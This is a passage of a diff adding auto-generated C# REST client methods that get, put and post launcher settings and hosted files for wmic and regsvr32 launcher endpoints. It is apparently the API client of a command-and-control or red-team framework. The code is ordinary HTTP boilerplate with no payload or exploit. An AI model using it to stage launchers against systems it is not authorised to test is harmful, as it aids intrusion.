SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWmicGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWmicGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wmic").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWmicPutWithHttpMessagesAsync(WmicLauncher wmicLauncher = default(WmicLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("wmicLauncher", wmicLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWmicPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wmic").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(wmicLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(wmicLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWmicPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWmicPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wmic").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWmicHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWmicHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wmic/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersRegsvr32GetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersRegsvr32Get", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/regsvr32").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersRegsvr32PutWithHttpMessagesAsync(Regsvr32Launcher regsvr32Launcher = default(Regsvr32Launcher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("regsvr32Launcher", regsvr32Launcher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersRegsvr32Put", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/regsvr32").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(regsvr32Launcher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(regsvr32Launcher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersRegsvr32PostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersRegsvr32Post", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/regsvr32").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersRegsvr32HostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersRegsvr32HostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/regsvr32/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to 